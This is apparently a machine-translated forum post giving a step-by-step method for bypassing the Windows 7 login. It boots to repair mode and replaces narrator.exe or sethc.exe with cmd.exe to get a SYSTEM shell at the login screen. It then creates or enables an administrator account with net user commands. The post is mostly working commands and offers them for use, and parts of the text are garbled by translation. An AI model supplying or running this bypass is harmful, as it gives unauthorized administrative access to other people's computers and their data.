General method for Win7 speed decryption

In fact, many people know this method, but recently tried to crack the latest win7 64 found that it is still valid, to share with friends who do not know.
The idea is to replace the Narrator narrator.exe (or the sticky key sethc.exe). Note that each system may be different, pay attention to the extended thinking.
The only difficulty under win7 is how to replace it, try pe, the permissions are not enough, can't change, forget it, estimate the disk has a problem, then go to win7 new repair mode to see it ^_^
boot , F8, repair mode, the user chooses administrator, the password is empty, after entering the command prompt, you don't need to say it later? O(∩_∩)Ohaha~
but the only thing to note is Although it is system permission, it is higher than the security mode, but the default drive letter is not the system disk (although there are windows folders)! Please switch to the system disk yourself,
cd /d D:windowssystem32
copy Narrator.exe narrator2.exe
del narrator.exe
copy cmd.exe narrator.exe
(same can replace sethc.exe)
and then restart, login page to bring up the narrator, will Cm with system privileges, huh, huh!
net user login007 /add
net user 123
net localgroup Administrators login007 /add
or directly net user administrator /active:y
free to play with you啦~O(∩_∩)O~
Note: The reason is not to use net user adm directly in repair mode. The way inistrator /active:y is enabled, because the password changed is not the password of the system partition on the hard disk!